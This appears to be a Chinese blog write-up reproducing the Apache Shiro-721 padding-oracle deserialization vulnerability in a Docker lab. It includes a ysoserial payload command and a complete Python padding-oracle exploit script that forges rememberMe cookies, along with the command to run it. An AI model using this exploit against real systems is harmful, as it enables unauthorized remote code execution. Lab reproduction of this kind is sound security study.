shiro721復現


前言

花費了2/3day的時間復現和了解這個漏洞,其挖掘的思路涉及到的密碼學知識挺有意思的,叫做Padding Oracle Attack,可以在公開的exp中看到這個思路。但是該漏洞的利用卻十分雞肋,它的加密方式決定了我們發送的payload越長,爆破方式去加密payload的過程越長。不建議花費時間去研究利用,exp可以學學。

一、環境搭建和知識儲備

1.1、影響版本

Apache Shiro < 1.4.2

CVE-2019-12422

1.2、Docker搭建環境

1、獲取DOCKFILE

git clone https://github.com/3ndz/Shiro-721.git
cd Shiro-721/Docker

2、構建和運行DOCKFILE

docker build -t shiro-721 .    //不要忽略721后面的那個點,意為當前路徑
docker run -p 8080:8080 -d shiro-721

3、注意事項
環境搭建主要采用了網上github存在的一個鏡像,復現時遇到一些問題

https://github.com/3ndz/Shiro-721

這個docker鏡像中存在的war包中的lib主要是Common-Collections3.2.2的,正好是漏洞修復了的版本,不存在可利用的cc鏈。因此我們要下載一個Common-Collections3.1放至生成的docker對應的tomcat目錄下。

docker cp /root/Common-Collections3.1.jar [dockerid]:/usr/local/tomcat/webapps/ROOT/WEB-INF/lib/Common-Collections3.1.jar

同時還要刪除原來的Common-Collections3.2.2版本的jar包防止干擾

1.3、漏洞原理

漏洞原理沒有做深入探究,看了兩篇文章做了一個了解。如下

淺析Shiro Padding Oracle Attack
Padding oracle attack詳細解析
根本原理就是shiro中cookie的cookiememeMe已通過AES-128-CBC模式加密,這很容易受到填充oracle攻擊的影響。攻擊者可以使用有效的RememberMe cookie作為Padding Oracle Attack 的前綴,然后制作精心制作的RememberMe來執行Java反序列化攻擊。

二、復現過程

1、整體思路

訪問登錄頁面,登錄
請求account頁面,只需要抓包時能獲取到rememberMe=xxx都可
利用exp爆破payload的加密密文
獲取密文后對之前請求的頁面以rememberMe=xxx的格式重放
獲取到命令執行結果

2、具體流程

1、勾選Remermber Me,登錄shiro認證后的頁面

2、登錄后點擊account頁,抓包獲取rememberMe對應的cookie值

3、使用ysoserial生成payload,前提是環境中存在可利用的鏈
這里命令用雙引號括起來,暫時還沒有深入研究ysoserial,用單引號存在問題

java -jar ysoserial-0.0.6-SNAPSHOT-all.jar CommonCollections1 "touch /tmp/1.txt" > payload.class

4、利用公開exp使用Padding Oracle方式爆破payload的密文

#https://github.com/3ndz/Shiro-721
# -*- coding: utf-8 -*-
from paddingoracle import BadPaddingException, PaddingOracle
from base64 import b64encode, b64decode
from urllib import quote, unquote
import requests
import socket
import time

class PadBuster(PaddingOracle):
    def __init__(self, **kwargs):
        super(PadBuster, self).__init__(**kwargs)
        self.session = requests.Session()
        self.wait = kwargs.get('wait', 2.0)

    def oracle(self, data, **kwargs):
        somecookie = b64encode(b64decode(unquote(sys.argv[2])) + data)
        self.session.cookies['rememberMe'] = somecookie
        if self.session.cookies.get('JSESSIONID'):
            del self.session.cookies['JSESSIONID']
        while 1:
            try:
                response = self.session.get(sys.argv[1],
                        stream=False, timeout=5, verify=False)
                break
            except (socket.error, requests.exceptions.RequestException):
                logging.exception('Retrying request in %.2f seconds...',
                                  self.wait)
                time.sleep(self.wait)
                continue

        self.history.append(response)
        if response.headers.get('Set-Cookie') is None or 'deleteMe' not in response.headers.get('Set-Cookie'):
            logging.debug('No padding exception raised on %r', somecookie)
            return
        raise BadPaddingException


if __name__ == '__main__':
    import logging
    import sys

    if not sys.argv[3:]:
        print 'Usage: %s <url> <somecookie value> <payload>' % (sys.argv[0], )
        sys.exit(1)

    logging.basicConfig(level=logging.DEBUG)
    encrypted_cookie = b64decode(unquote(sys.argv[2]))
    padbuster = PadBuster()
    payload = open(sys.argv[3], 'rb').read()
    enc = padbuster.encrypt(plaintext=payload, block_size=16)
    print('rememberMe cookies:')
    print(b64encode(enc))

5、使用以下命令執行腳本,地址為登錄后的需要提交cookie的頁面

python shiro_exp.py http://192.168.164.152:8080/account [rememberMeCookie] payload.class

6、經過漫長的等待(起碼3個小時不間斷的請求),獲取到了最終爆破出來的經過加密的payload,我們將這個payload加上rememberMe在之前的頁面重放

7、最終在docker里的/tmp目錄創建了文件

三、工具利用

使用ShiroExploit.jar

沒有驗證過,因為時間太長,不適用於實際環境的測試。會把環境打崩或者ip被ban


免責聲明!

本站轉載的文章為個人學習借鑒使用,本站對版權不負任何法律責任。如果侵犯了您的隱私權益,請聯系本站郵箱yoyou2525@163.com刪除。



 
粵ICP備18138465號   © 2018-2025 CODEPRJ.COM